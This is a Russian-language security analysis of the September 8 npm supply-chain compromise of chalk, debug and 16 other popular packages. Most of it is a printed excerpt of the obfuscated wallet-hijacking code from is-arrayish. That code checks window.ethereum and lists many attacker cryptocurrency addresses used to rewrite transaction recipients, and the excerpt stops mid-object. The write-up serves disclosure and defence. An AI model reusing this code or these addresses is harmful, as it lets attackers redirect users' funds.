8 сентября в 13:16 UTC система мониторинга Aikido зафиксировала подозрительные действия: в npm начали публиковаться новые версии популярных пакетов, содержащие вредоносный код.

Всего было скомпрометировано 18 очень популярных библиотек, среди них:

  • backslash (≈260 тыс. загрузок в неделю)

  • chalk-template (≈3,9 млн)

  • supports-hyperlinks (≈19,2 млн)

  • has-ansi (≈12,1 млн)

  • simple-swizzle (≈26,3 млн)

  • color-string (≈27,5 млн)

  • error-ex (≈47,2 млн)

  • color-name (≈191,7 млн)

  • is-arrayish (≈73,8 млн)

  • slice-ansi (≈59,8 млн)

  • color-convert (≈193,5 млн)

  • wrap-ansi (≈198 млн)

  • ansi-regex (≈243,6 млн)

  • supports-color (≈287,1 млн)

  • strip-ansi (≈261,2 млн)

  • chalk (≈300 млн)

  • debug (≈357,6 млн)

  • ansi-styles (≈371,4 млн)

В сумме эти пакеты имеют более 2 миллиардов загрузок в неделю.

Добавленный вредоносный код запускался на стороне клиента и скрытно вмешивался в работу браузера:

  • перехватывал операции с криптовалютами и Web3;

  • подменял взаимодействия кошелька;

  • переписывал адреса получателей в транзакциях.

В результате пользователи незаметно для себя могли отправлять средства и подтверждения на счета, контролируемые злоумышленниками.

Что произошло?

Все перечисленные выше пакеты начали получать новые релизы.
Например, один из них — is-arrayish, который не трогали больше 5 лет, вдруг получил обновление с вредоносным кодом.

Репозиторий  is-arrayish
Репозиторий is-arrayish

В обновлённой версии был изменён файл index.js. В нём появился обфусцированный код, скрывающий вредоносную логику.

Даже после снятия части обфускации файл остаётся довольно сложным и запутанным. Это сделано специально — чтобы замедлить анализ и скрыть реальное поведение кода.

Вредоносный участок кода
var neth = 0;
var rund = 0;
var loval = 0;
async function checkethereumw() {
  try {
    const _0x124ed3 = await window.ethereum.request({
      'method': "eth_accounts"
    });
    if (_0x124ed3.length > 0) {
      runmask();
      if (rund != 1) {
        rund = 1;
        neth = 1;
        newdlocal();
      }
    } else if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  } catch (_0x53a897) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}
if (typeof window != "undefined" && typeof window.ethereum != "undefined") {
  checkethereumw();
} else if (rund != 1) {
  rund = 1;
  newdlocal();
}
function newdlocal() {
  const _0xba16ef = {
    'zprkq': function (_0x23e86b, _0x5b593c) {
      return _0x23e86b + _0x5b593c;
    },
    'iJAYR': function (_0xc91263, _0x20ad3a) {
      return _0xc91263 <= _0x20ad3a;
    },
    'nqxhl': function (_0x31d70d, _0x545869) {
      return _0x31d70d <= _0x545869;
    },
    'myaXd': function (_0xd587f7, _0x356cb8) {
      return _0xd587f7 === _0x356cb8;
    },
    'IptyQ': function (_0x52d73c, _0x1701dc) {
      return _0x52d73c - _0x1701dc;
    },
    'QCTBQ': function (_0x3b97a6, _0x5cd5e9) {
      return _0x3b97a6 - _0x5cd5e9;
    },
    'avmeH': function (_0x370f68, _0x51151b) {
      return _0x370f68 - _0x51151b;
    },
    'TwyPu': function (_0x43ced5, _0x54174b) {
      return _0x43ced5 + _0x54174b;
    },
    'arczN': function (_0x2b592d, _0x5339ba) {
      return _0x2b592d - _0x5339ba;
    },
    'yMgZR': function (_0xb3fb8a, _0x24a479) {
      return _0xb3fb8a - _0x24a479;
    },
    'qEVKr': function (_0x4a3a26, _0x16853b) {
      return _0x4a3a26 - _0x16853b;
    },
    'vGpiX': function (_0x9c66ab, _0x1a38b9, _0x1d740b) {
      return _0x9c66ab(_0x1a38b9, _0x1d740b);
    },
    'eGWOd': function (_0x3630fa, _0x17694b) {
      return _0x3630fa < _0x17694b;
    },
    'tfqRA': function (_0x562199, ..._0x1555b8) {
      return _0x562199(..._0x1555b8);
    },
    'viQtk': "Content-Type",
    'DSXar': "application/json",
    'mDaWt': function (_0x2116fd, _0x26f622) {
      return _0x2116fd(_0x26f622);
    },
    'FXtyf': function (_0x4f1346, _0x53343b) {
      return _0x4f1346 === _0x53343b;
    },
    'FYAPh': "string",
    'UmfJm': function (_0x301d56, _0x29139b) {
      return _0x301d56 === _0x29139b;
    },
    'LmXxC': function (_0x467473, _0x5d7154) {
      return _0x467473(_0x5d7154);
    },
    'yVHgJ': "responseText",
    'aXpuC': "response",
    'yArwb': "object",
    'MJKcn': function (_0x5561bf, _0x1792e6) {
      return _0x5561bf !== _0x1792e6;
    },
    'gHrJP': function (_0xe2c323, _0x4c49d0) {
      return _0xe2c323 === _0x4c49d0;
    },
    'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
    'EAhsy': "1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd",
    'lLQUz': "1Dk12ey2hKWJctU3V8Akc1oZPo1ndjbnjP",
    'ibPEr': "1NBvJqc1GdSb5uuX8vT7sysxtT4LB8GnuY",
    'cGpnb': "1Mtv6GsFsbno9XgSGuG6jRXyBYv2tgVhMj",
    'wAGlT': "1BBAQm4DL78JtRdJGEfzDBT2PBkGyvzf4N",
    'Hauzr': "1KkovSeka94yC5K4fDbfbvZeTFoorPggKW",
    'nJNgC': "18CPyFLMdncoYccmsZPnJ5T1hxFjh6aaiV",
    'EHOlV': "1BijzJvYU2GaBCYHa8Hf3PnJh6mjEd92UP",
    'cOZYT': "1Bjvx6WXt9iFB5XKAVsU3TgktgeNbzpn5N",
    'cIySf': "19fUECa9aZCQxcLeo8FZu8kh5kVWheVrg8",
    'rrGeC': "1DZEep7GsnmBVkbZR3ogeBQqwngo6x4XyR",
    'geUVS': "1GX1FWYttd65J26JULr9HLr98K7VVUE38w",
    'TZdxq': "14mzwvmF2mUd6ww1gtanQm8Bxv3ZWmxDiC",
    'JgcFw': "1EYHCtXyKMMhUiJxXJH4arfpErNto5j87k",
    'gKbQq': "19D1QXVQCoCLUHUrzQ4rTumqs9jBcvXiRg",
    'KObJu': "16mKiSoZNTDaYLBQ5LkunK6neZFVV14b7X",
    'vYGdx': "18x8S4yhFmmLUpZUZa3oSRbAeg8cpECpne",
    'gtZOV': "1EkdNoZJuXTqBeaFVzGwp3zHuRURJFvCV8",
    'ApfqP': "13oBVyPUrwbmTAbwxVDMT9i6aVUgm5AnKM",
    'hgmsX': "1DwsWaXLdsn4pnoMtbsmzbH7rTj5jNH6qS",
    'TNgNB': "13wuEH28SjgBatNppqgoUMTWwuuBi9e4tJ",
    'UhmAX': "154jc6v7YwozhFMppkgSg3BdgpaFPtCqYn",
    'vXyJx': "1AP8zLJE6nmNdkfrf1piRqTjpasw7vk5rb",
    'HmJHn': "19F8YKkU7z5ZDAypxQ458iRqH2ctGJFVCn",
    'UlhFZ': "17J3wL1SapdZpT2ZVX72Jm5oMSXUgzSwKS",
    'VShzV': "16z8D7y3fbJsWFs3U8RvBF3A8HLycCW5fH",
    'IzSNV': "1PYtCvLCmnGDNSVK2gFE37FNSf69W2wKjP",
    'hiXcO': "143wdqy6wgY3ez8Nm19AqyYh25AZHz3FUp",
    'gwsfo': "1JuYymZbeoDeH5q65KZVG3nBhYoTK9YXjm",
    'XjToi': "1PNM2L1bpJQWipuAhNuB7BZbaFLB3LCuju",
    'qzLJJ': "19onjpqdUsssaFKJjwuAQGi2eS41vE19oi",
    'NrttU': "1JQ15RHehtdnLAzMcVT9kU8qq868xFEUsS",
    'mLamd': "1LVpMCURyEUdE8VfsGqhMvUYVrLzbkqYwf",
    'ENfnx': "1KMcDbd2wecP4Acoz9PiZXsBrJXHbyPyG6",
    'teGcp': "1DZiXKhBFiKa1f6PTGCNMKSU1xoW3Edb7Z",
    'lkQtS': "174bEk62kr8dNgiduwHgVzeLgLQ38foEgZ",
    'nVfSu': "17cvmxcjTPSBsF1Wi2HfcGXnpLBSzbAs6p",
    'XdmQg': "1NoYvnedUqNshKPZvSayfk8YTQYvoB2wBc",
    'hTAuL': "13694eCkAtBRkip8XdPQ8ga99KEzyRnU6a",
    'hmVdI': "bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm",
    'SvssU': "bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9",
    'zXlNj': "bc1q4rllc9q0mxs827u6vts2wjvvmel0577tdsvltx",
    'OOAQz': "bc1qj8zru33ngjxmugs4sxjupvd9cyh84ja0wjx9c4",
    'TDfnH': "bc1qc972tp3hthdcufsp9ww38yyer390sdc9cvj8ar",
    'UrAmA': "bc1qw0z864re8yvrjqmcw5fs6ysndta2avams0c6nh",
    'ELPqV': "bc1qzdd8c7g2g9mnnxy635ndntem2827ycxxyn3v4h",
    'xlnbk': "bc1qaavgpwm98n0vtaeua539gfzgxlygs8jpsa0mmt",
    'aApMn': "bc1qrdlkyhcrx4n2ksfjfh78xnqrefvsr34nf2u0sx",
    'Pvsjl': "bc1q9ytsyre66yz56x3gufhqks7gqd8sa8uk4tv5fh",
    'fmvYL': "bc1qfrvsj2dkey2dg8ana0knczzplcqr7cgs9s52vq",
    'fXywx': "bc1qg7lkw04hg5yggh28ma0zvtkeg95k0yefqmvv2f",
    'RRxbR': "bc1qmeplum3jy2vrlyzw4vhrcgeama35tr9kw8yfrn",
    'VrdPL': "bc1qamqx0h8rxfcs4l56egrpau4ryqu4r642ttmxq4",
    'qSKMT': "bc1qsaxgtck26mgecgfvp9ml4y5ljyl8ylpdglqz30",
    'mbTQq': "bc1qsz90ulta8dx5k8xzzjqruzahav2vxchtk2l8v7",
    'xHmCb': "bc1q3ad2zyc5mpc9nnzmmtxqpu467jeh4m928r7qf4",
    'OqeMw': "bc1qlrdqrulwmvfg86rmp77k8npdefns52ykk8cxs6",
    'BNnlw': "bc1q5hqxk5ugvf2d3y6qj2a7cy7u79ckusu9eknpsr",
    'FkDWd': "bc1qszm3nugttmtpkq77dhphtqg4u7vuhxxcrh7f79",
    'aBdRe': "bc1qqc09xnyafq0y4af3x7j5998tglxcanjuzy974m",
    'roief': "bc1qqqh29zxfzxk0fvmq9d7hwedh5yz44zhf7e23qz",
    'qMxmV': "bc1qsg57tpvfj6gysrw5w4sxf3dweju40g87uuclvu",
    'kkYGi': "bc1qje95nehs8y0wvusp2czr25p7kghk6j3cvgugy5",
    'zbnSH': "bc1qwrnchp96p38u8ukp8jc8cq22q35n3ajfav0pzf",
    'dHxYm': "bc1q6l99s704jccclxx5rc2x2c5shlgs2pg0fpnflk",
    'OfXMz': "bc1qeuk2u6xl4rgfq0x9yc37lw49kutnd8gdlxt9st",
    'OZznV': "bc1qxul8lwxvt7lt9xuge0r2jls7evrwyyvcf2ah0u",
    'NHzcN': "bc1qcplvxyzs9w09g6lpglj6xxdfxztfwjsgz95czd",
    'sxqWF': "bc1q9ca9ae2cjd3stmr9lc6y527s0x6vvqys6du00u",
    'oIQra': "bc1qmap3cqss3t4vetg8z9s995uy62jggyxjk29jkp",
    'qIAwe': "bc1qg3c6c7y5xeqkxnjsx9ymclslr2sncjrxjylkej",
    'IneJW': "bc1q9zx63qdjwldxp4s9egeqjelu3y5yqsajku8m29",
    'tjIgE': "bc1ql2awtv7nzcp2dqce3kny2ra3dz946c9vg2yukq",
    'vuJMD': "bc1qhytpe64tsrrvgwm834q35w6607jc6azqtnvl2a",
    'Uxzul': "bc1q4rlgfgjwg9g2pqwqkf5j9hq6ekn39rjmzv09my",
    'MoAYB': "bc1q28ks0u6fhvv7hktsavnfpmu59anastfj5sq8dw",
    'wKaGs': "bc1qjqfpxvl2j2hzx2cxeqhchrh02dcjy3z5k6gv55",
    'VmOdy': "bc1q8zznzs9z93xpkpunrmeqp6fg54s3q7dkh9z9xw",
    'YcvKY': "bc1qt4c4e6xwt5dz4p629ndz9zmeep2kmvqgy53037",
    'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976",
    'sCKdW': "0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024",
    'ZAiba': "0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B",
    'AsHKD': "0x30F895a2C66030795131FB66CBaD6a1f91461731",
    'rzrhZ': "0x57394449fE8Ee266Ead880D5588E43501cb84cC7",
    'expPy': "0xCd422cCC9f6e8f30FfD6F68C0710D3a7F24a026A",
    'zlBwY': "0x7C502F253124A88Bbb6a0Ad79D9BeD279d86E8f4",
    'nElAL': "0xe86749d6728d8b02c1eaF12383c686A8544de26A",
    'wqRjK': "0xa4134741a64F882c751110D3E207C51d38f6c756",
    'HcYDT': "0xD4A340CeBe238F148034Bbc14478af59b1323d67",
    'BqNRF': "0xB00A433e1A5Fc40D825676e713E5E351416e6C26",
    'OvURa': "0xd9Df4e4659B1321259182191B683acc86c577b0f",
    'PFfEj': "0x0a765FA154202E2105D7e37946caBB7C2475c76a",
    'IOjJb': "0xE291a6A58259f660E8965C2f0938097030Bf1767",
    'uKfqV': "0xe46e68f7856B26af1F9Ba941Bc9cd06F295eb06D",
    'DAJYA': "0xa7eec0c4911ff75AEd179c81258a348c40a36e53",
    'SUVoY': "0x3c6762469ea04c9586907F155A35f648572A0C3E",
    'WJmWS': "0x322FE72E1Eb64F6d16E6FCd3d45a376efD4bC6b2",
    'QBAXK': "0x51Bb31a441531d34210a4B35114D8EF3E57aB727",
    'zLNIR': "0x314d5070DB6940C8dedf1da4c03501a3AcEE21E1",
    'kTQGi': "0x75023D76D6cBf88ACeAA83447C466A9bBB0c5966",
    'XJxSR': "0x1914F36c62b381856D1F9Dc524f1B167e0798e5E",
    'kHjMo': "0xB9e9cfd931647192036197881A9082cD2D83589C",
    'kxPDg': "0xE88ae1ae3947B6646e2c0b181da75CE3601287A4",
    'gWISZ': "0x0D83F2770B5bDC0ccd9F09728B3eBF195cf890e2",
    'hIHlD': "0xe2D5C35bf44881E37d7183DA2143Ee5A84Cd4c68",
    'QgItq': "0xd21E6Dd2Ef006FFAe9Be8d8b0cdf7a667B30806d",
    'bLJZU': "0x93Ff376B931B92aF91241aAf257d708B62D62F4C",
    'IdVSI': "0x5C068df7139aD2Dedb840ceC95C384F25b443275",
    'Rpwne': "0x70D24a9989D17a537C36f2FB6d8198CC26c1c277",
    'NYUBp': "0x0ae487200606DEfdbCEF1A50C003604a36C68E64",
    'eQrXq': "0xc5588A6DEC3889AAD85b9673621a71fFcf7E6B56",
    'yRdVI': "0x3c23bA2Db94E6aE11DBf9cD2DA5297A09d7EC673",
    'IDnjA': "0x5B5cA7d3089D3B3C6393C0B79cDF371Ec93a3fd3",
    'ajXoV': "0x4Cb4c0E7057829c378Eb7A9b174B004873b9D769",
    'xyHoE': "0xd299f05D1504D0B98B1D6D3c282412FD4Df96109",
    'TCqKY': "0x241689F750fCE4A974C953adBECe0673Dc4956E0",
    'dQfUy': "0xBc5f75053Ae3a8F2B9CF9495845038554dDFb261",
    'ctRhh': "0x5651dbb7838146fCF5135A65005946625A2685c8",
    'JbMdu': "0x5c9D146b48f664f2bB4796f2Bb0279a6438C38b1",
    'gjuIU': "0xd2Bf42514d35952Abf2082aAA0ddBBEf65a00BA3",
    'fmDjk': "0xbB1EC85a7d0aa6Cd5ad7E7832F0b4c8659c44cc9",
    'GjipQ': "0x013285c02ab81246F1D68699613447CE4B2B4ACC",
    'wHLUW': "0x97A00E100BA7bA0a006B2A9A40f6A0d80869Ac9e",
    'gYVeZ': "0x4Bf0C0630A562eE973CE964a7d215D98ea115693",
    'Sqlrp': "0x805aa8adb8440aEA21fDc8f2348f8Db99ea86Efb",
    'pcqRS': "0xae9935793835D5fCF8660e0D45bA35648e3CD463",
    'fMapR': "0xB051C0b7dCc22ab6289Adf7a2DcEaA7c35eB3027",
    'ITrjn': "0xf7a82C48Edf9db4FBe6f10953d4D889A5bA6780D",
    'Ixxxa': "0x06de68F310a86B10746a4e35cD50a7B7C8663b8d",
    'DdqMx': "0x51f3C0fCacF7d042605ABBE0ad61D6fabC4E1F54",
    'mddEm': "0x49BCc441AEA6Cd7bC5989685C917DC9fb58289Cf",
    'GQlpD': "0x7fD999f778c1867eDa9A4026fE7D4BbB33A45272",
    'PFPfJ': "0xe8749d2347472AD1547E1c6436F267F0EdD725Cb",
    'rgsmH': "0x2B471975ac4E4e29D110e43EBf9fBBc4aEBc8221",
    'kkUbC': "0x02004fE6c250F008981d8Fc8F9C408cEfD679Ec3",
    'qHwwv': "0xC4A51031A7d17bB6D02D52127D2774A942987D39",
    'mlgET': "0xa1b94fC12c0153D3fb5d60ED500AcEC430259751",
    'Sflwm': "0xdedda1A02D79c3ba5fDf28C161382b1A7bA05223",
    'cKcDU': "0xE55f51991C8D01Fb5a99B508CC39B8a04dcF9D04",
    'tWKKt': "5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6",
    'GeUXv': "98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ",
    'IFMoj': "Gs7z9TTJwAKyxN4G3YWPFfDmnUo3ofu8q2QSWfdxtNUt",
    'shIUB': "CTgjc8kegnVqvtVbGZfpP5RHLKnRNikArUYFpVHNebEN",
    'IfmWW': "7Nnjyhwsp8ia2W4P37iWAjpRao3Bj9tVZBZRTbBpwXWU",
    'aLjQi': "3KFBge3yEg793VqVV1P6fxV7gC9CShh55zmoMcGUNu49",
    'ytLpw': "9eU7SkkFGWvDoqSZLqoFJ9kRqJXDQYcEvSiJXyThCWGV",
    'gjXjd': "4SxDspwwkviwR3evbZHrPa3Rw13kBr51Nxv86mECyXUF",
    'alqyK': "9dtS7zbZD2tK7oaMUj78MKvgUWHbRVLQ95bxnpsCaCLL",
    'tySZZ': "7mdCoRPc1omTiZdYY2xG81EvGwN7Z2yodUTX9ZmLm3fx",
    'wEEzD': "8rdABs8nC2jTwVhR9axWW7WMbGZxW7JUzNV5pRF8KvQv",
    'PFTuz': "55YtaEqYEUM7ASAZ9XmVdSBNy6F7r5zkdLsJFv2ZPtAx",
    'uMBVu': "Gr8Kcyt8UVRF1Pux7YHiK32Spm7cmnFVL6hd7LSLHqoB",
    'gGKEH': "9MRmVsciWKDvwwTaZQCK2NvJE2SeVU8W6EGFmukHTRaB",
    'QlDwm': "5j4k1Ye12dXiFMLSJpD7gFrLbv4QcUrRoKHsgo32kRFr",
    'PbcYH': "F1SEspGoVLhqJTCFQEutTcKDubw44uKnqWc2ydz4iXtv",
    'isJWQ': "G3UBJBY69FpDbwyKhZ8Sf4YULLTtHBtJUvSX4GpbTGQn",
    'NORtg': "DZyZzbGfdMy5GTyn2ah2PDJu8LEoKPq9EhAkFRQ1Fn6K",
    'OWMqm': "HvygSvLTXPK4fvR17zhjEh57kmb85oJuvcQcEgTnrced",
    'mAOhu': "TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67",
    'zNJib': "TSfbXqswodrpw8UBthPTRRcLrqWpnWFY3y",
    'JIaJy': "TYVWbDbkapcKcvbMfdbbcuc3PE1kKefvDH",
    'ycYrn': "TNaeGxNujpgPgcfetYwCNAZF8BZjAQqutc",
    'YofCH': "TJ1tNPVj7jLK2ds9JNq15Ln6GJV1xYrmWp",
    'iKJKA': "TGExvgwAyaqwcaJmtJzErXqfra66YjLThc",
    'oQtxT': "TC7K8qchM7YXZPdZrbUY7LQwZaahdTA5tG",
    'Gnngl': "TQuqKCAbowuQYEKB9aTnH5uK4hNvaxDCye",
    'AIOZX': "TFcXJysFgotDu6sJu4zZPAvr9xHCN7FAZp",
    'LBXrZ': "TLDkM4GrUaA13PCHWhaMcGri7H8A8HR6zR",
    'GcWUu': "TPSLojAyTheudTRztqjhNic6rrrSLVkMAr",
    'uWYHo': "TY2Gs3RVwbmcUiDpxDhchPHF1CVsGxU1mo",
    'AjRST': "TCYrFDXHBrQkqCPNcp6V2fETk7VoqjCNXw",
    'OghhW': "TKcuWWdGYqPKe98xZCWkmhc1gKLdDYvJ2f",
    'WYxMs': "TP1ezNXDeyF4RsM3Bmjh4GTYfshf5hogRJ",
    'XPQAU': "TJcHbAGfavWSEQaTTLotG7RosS3iqV5WMb",
    'kQfYh': "TD5U7782gp7ceyrsKwekWFMWF9TjhC6DfP",
    'fQZCx': "TEu3zgthJE32jfY6bYMYGNC7BU2yEXVBgW",
    'UzPHF': "TK5r74dFyMwFSTaJF6dmc2pi7A1gjGTtJz",
    'qJMvq': "TBJH4pB4QPo96BRA7x6DghEv4iQqJBgKeW",
    'sZVdB': "TKBcydgFGX9q3ydaPtxht1TRAmcGybRozt",
    'zzvgO': "TQXoAYKPuzeD1X2c4KvQ4gXhEnya3AsYwC",
    'maiTu': "TJCevwYQhzcSyPaVBTa15y4qNY2ZxkjwsZ",
    'ZpFNE': "THpdx4MiWbXtgkPtsrsvUjHF5AB4u7mx3E",
    'jTVMz': "TWpCDiY8pZoY9dVknsy3U4mrAwVm8mCBh6",
    'zBKSx': "TK5zyFYoyAttoeaUeWGdpRof2qRBbPSV7L",
    'CsfLH': "TAzmtmytEibzixFSfNvqqHEKmMKiz9wUA9",
    'LCszu': "TCgUwXe3VmLY81tKBrMUjFBr1qPnrEQFNK",
    'cdzQW': "TTPWAyW3Q8MovJvDYgysniq41gQnfRn21V",
    'xBxZT': "TWUJVezQta4zEX94RPmFHF2hzQBRmYiEdn",
    'ESuTT': "TPeKuzck7tZRXKh2GP1TyoePF4Rr1cuUAA",
    'emvMl': "TJUQCnHifZMHEgJXSd8SLJdVAcRckHGnjt",
    'xVGnF': "TCgX32nkTwRkapNuekTdk1TByYGkkmcKhJ",
    'hxLhB': "TFDKvuw86wduSPZxWTHD9N1TqhXyy9nrAs",
    'EeQvC': "TQVpRbBzD1au3u8QZFzXMfVMpHRyrpemHL",
    'pELnW': "TSE2VkcRnyiFB4xe8an9Bj1fb6ejsPxa9Z",
    'qzqrf': "THe32hBm9nXnzzi6YFqYo8LX77CMegX3v5",
    'ZjUWz': "TXfcpZtbYfVtLdGPgdoLm6hDHtnrscvAFP",
    'LieOP': "TXgVaHDaEyXSm1LoJEqFgKWTKQQ1jgeQr7",
    'pPSEL': "TD5cRTn9dxa4eodRWszGiKmU4pbpSFN87P",
    'Cubxg': "LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug",
    'tdnnB': "LQk8CEPMP4tq3mc8nQpsZ1QtBmYbhg8UGR",
    'WBSil': "LMAJo7CV5F5scxJsFW67UsY2RichJFfpP6",
    'aiczm': "LUvPb1VhwsriAm3ni77i3otND2aYLZ8fHz",
    'RVLCn': "LhWPifqaGho696hFVGTR1KmzKJ8ps7ctFa",
    'UpXNN': "LZZPvXLt4BtMzEgddYnHpUWjDjeD61r5aQ",
    'FOnBW': "LQfKhNis7ZKPRW6H3prbXz1FJd29b3jsmT",
    'iMpIh': "LSihmvTbmQ9WZmq6Rjn35SKLUdBiDzcLBB",
    'mynAv': "Ldbnww88JPAP1AUXiDtLyeZg9v1tuvhHBP",
    'LthXt': "LR3YwMqnwLt4Qdn6Ydz8bRFEeXvpbNZUvA",
    'thBMJ': "Lbco8vJ56o1mre6AVU6cF7JjDDscnYHXLP",
    'SDnYd': "LfqFuc3sLafGxWE8vdntZT4M9NKq6Be9ox",
    'rsFGZ': "LLcmXxj8Zstje6KqgYb11Ephj8bGdyF1vP",
    'GERuP': "LcJwR1WvVRsnxoe1A66pCzeXicuroDP6L6",
    'YnKTx': "LUNKimRyxBVXLf9gp3FZo2iVp6D3yyzJLJ",
    'qeLYC': "LY1NnVbdywTNmq45DYdhssrVENZKv7Sk8H",
    'bHFpc': "LNmMqhqpyDwb1zzZReuA8aVUxkZSc4Ztqq",
    'yJtyM': "LdxgXRnXToLMBML2KpgGkdDwJSTM6sbiPE",
    'UthzI': "LZMn8hLZ2kVjejmDZiSJzJhHZjuHq8Ekmr",
    'HRVKG': "LVnc1MLGDGKs2bmpNAH7zcHV51MJkGsuG9",
    'DYFsg': "LRSZUeQb48cGojUrVsZr9eERjw4K1zAoyC",
    'vJoTb': "LQpGaw3af1DQiKUkGYEx18jLZeS9xHyP9v",
    'SCttQ': "LiVzsiWfCCkW2kvHeMBdawWp9TE8uPgi6V",
    'TLtwe': "LY32ncFBjQXhgCkgTAd2LreFv3JZNTpMvR",
    'zubSd': "LdPtx4xqmA4HRQCm3bQ9PLEneMWLdkdmqg",
    'jnPSm': "LYcHJk7r9gRbg2z3hz9GGj91Po6TaXDK3k",
    'tkhoC': "LMhCVFq5fTmrwQyzgfp2MkhrgADRAVCGsk",
    'UXYpW': "LPv1wSygi4vPp9UeW6EfWwepEeMFHgALmN",
    'QtlzB': "Lf55UbTiSTjnuQ8uWzUBtzghztezEfSLvT",
    'wYQWn': "LdJHZeBQovSYbW1Lei6CzGAY4d3mUxbNKs",
    'abbui': "LbBxnFaR1bZVN2CquNDXGe1xCuu9vUBAQw",
    'zndLO': "LWWWPK2SZZKB3Nu8pHyq2yPscVKvex5v2X",
    'kXpEP': "LYN4ESQuJ1TbPxQdRYNrghznN8mQt8WDJU",
    'gBdKm': "LiLzQs4KU79R5AUn9jJNd7EziNE7r32Dqq",
    'AJBPj': "LeqNtT4aDY9oM1G5gAWWvB8B39iUobThhe",
    'dDlKv': "LfUdSVrimg54iU7MhXFxpUTPkEgFJonHPV",
    'upwRp': "LTyhWRAeCRcUC9Wd3zkmjz3AhgX6J18kxZ",
    'wKEAH': "Lc2LtsEJmPYay1oj7v8xj16mSV15BwHtGu",
    'Kivgs': "LVsGi1QVXucA6v9xsjwaAL8WYb7axdekAK",
    'atdgC': "LewV6Gagn52Sk8hzPHRSbBjUpiNAdqmB9z",
    'wORrq': "bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh",
    'AXcYN': "bitcoincash:qq7dr7gu8tma7mvpftq4ee2xnhaczqk9myqnk6v4c9",
    'nJmrw': "bitcoincash:qpgf3zrw4taxtvj87y5lcaku77qdhq7kqgdga5u6jz",
    'jiCnV': "bitcoincash:qrkrnnc5kacavf5pl4n4hraazdezdrq08ssmxsrdsf",
    'IEyeW': "bitcoincash:qqdepnkh89dmfxyp4naluvhlc3ynej239sdu760y39",
    'LPwMj': "bitcoincash:qqul8wuxs4ec8u4d6arkvetdmdh4ppwr0ggycetq97",
    'QeXkq': "bitcoincash:qq0enkj6n4mffln7w9z6u8vu2mef47jwlcvcx5f823",
    'AXCnW': "bitcoincash:qrc620lztlxv9elhj5qzvmf2cxhe7egup5few7tcd3",
    'BvvIY': "bitcoincash:qrf3urqnjl4gergxe45ttztjymc8dzqyp54wsddp64",
    'WdGef': "bitcoincash:qr7mkujcr9c38ddfn2ke2a0sagk52tllesderfrue8",
    'MdtCY': "bitcoincash:qqgjn9yqtud5mle3e7zhmagtcap9jdmcg509q56ynt",
    'lcvXH': "bitcoincash:qpuq8uc9ydxszny5q0j4actg30he6uhffvvy0dl7er",
    'jQkco': "bitcoincash:qz0640hjl2m3n2ca26rknljpr55gyd9pjq89g6xhrz",
    'XcaTu': "bitcoincash:qq0j6vl2ls2g8kkhkvpcfyjxns5zq03llgsqdnzl4s",
    'JEZmD': "bitcoincash:qq8m8rkl29tcyqq8usfruejnvx27zxlpu52mc9spz7",
    'PQrIR': "bitcoincash:qpudgp66jjj8k9zec4na3690tvu8ksq4fq8ycpjzed",
    'JDUWN': "bitcoincash:qqe3qc9uk08kxnng0cznu9xqqluwfyemxym7w2e3xw",
    'CZKkU': "bitcoincash:qpukdxh30d8dtj552q2jet0pqvcvt64gfujaz8h9sa",
    'GGbBw': "bitcoincash:qqs4grdq56y5nnamu5d8tk450kzul3aulyz8u66mjc",
    'TlKHF': "bitcoincash:qp7rhhk0gcusyj9fvl2ftr06ftt0pt8wgumd8ytssd",
    'gvWhS': "bitcoincash:qpmc3y5y2v7h3x3sgdg7npau034fsggwfczvuqtprl",
    'TOyco': "bitcoincash:qzum0qk4kpauy8ljspmkc5rjxe5mgam5xg7xl5uq2g",
    'uzHQJ': "bitcoincash:qqjqp8ayuky5hq4kgrarpu40eq6xjrneuurc43v9lf",
    'Ddxxq': "bitcoincash:qqxu6a3f0240v0mwzhspm5zeneeyecggvufgz82w7u",
    'SkKwK': "bitcoincash:qpux2mtlpd03d8zxyc7nsrk8knarnjxxts2fjpzeck",
    'xlIOq': "bitcoincash:qpcgcrjry0excx80zp8hn9vsn4cnmk57vylwa5mtz3",
    'cGdGB': "bitcoincash:qpjj6prm5menjatrmqaqx0h3zkuhdkfy75uauxz2sj",
    'NJweA': "bitcoincash:qp79qg7np9mvr4mg78vz8vnx0xn8hlkp7sk0g86064",
    'liySF': "bitcoincash:qr27clvagvzra5z7sfxxrwmjxy026vltucdkhrsvc7",
    'dZzai': "bitcoincash:qrsypfz3lqt8xtf8ej5ftrqyhln577me6v640uew8j",
    'qPXMY': "bitcoincash:qrzfrff4czjn6ku0tn2u3cxk7y267enfqvx6zva5w6",
    'GSmbj': "bitcoincash:qr7exs4az754aknl3r5gp9scn74dzjkcrgql3jpv59",
    'oFfnO': "bitcoincash:qq35fzg00mzcmwtag9grmwljvpuy5jm8kuzfs24jhu",
    'oBsPL': "bitcoincash:qra5zfn74m7l85rl4r6wptzpnt2p22h7552swkpa7l",
    'fqBSI': "bitcoincash:qzqllr0fsh9fgfvdhmafx32a0ddtkt52evnqd7w7h7",
    'GqRgo': "bitcoincash:qpjdcwld84wtd5lk00x8t7qp4eu3y0xhnsjjfgrs7q",
    'TSvsw': "bitcoincash:qrgpm5y229xs46wsx9h9mlftedmsm4xjlu98jffmg3",
    'gIXXv': "bitcoincash:qpjl9lkjjp4s6u654k3rz06rhqcap849jg8uwqmaad",
    'NNxYW': "bitcoincash:qra5uwzgh8qus07v3srw5q0e8vrx5872k5cxguu3h5",
    'wgjIC': "bitcoincash:qz6239jkqf9qpl2axk6vclsx3gdt8cy4z5rag98u2r",
    'NbGXK': function (_0x6fd57a, _0x45613c) {
      return _0x6fd57a == _0x45613c;
    },
    'eDGUh': "ethereum",
    'dmtxm': function (_0x426191, _0xcfbe) {
      return _0x426191 == _0xcfbe;
    },
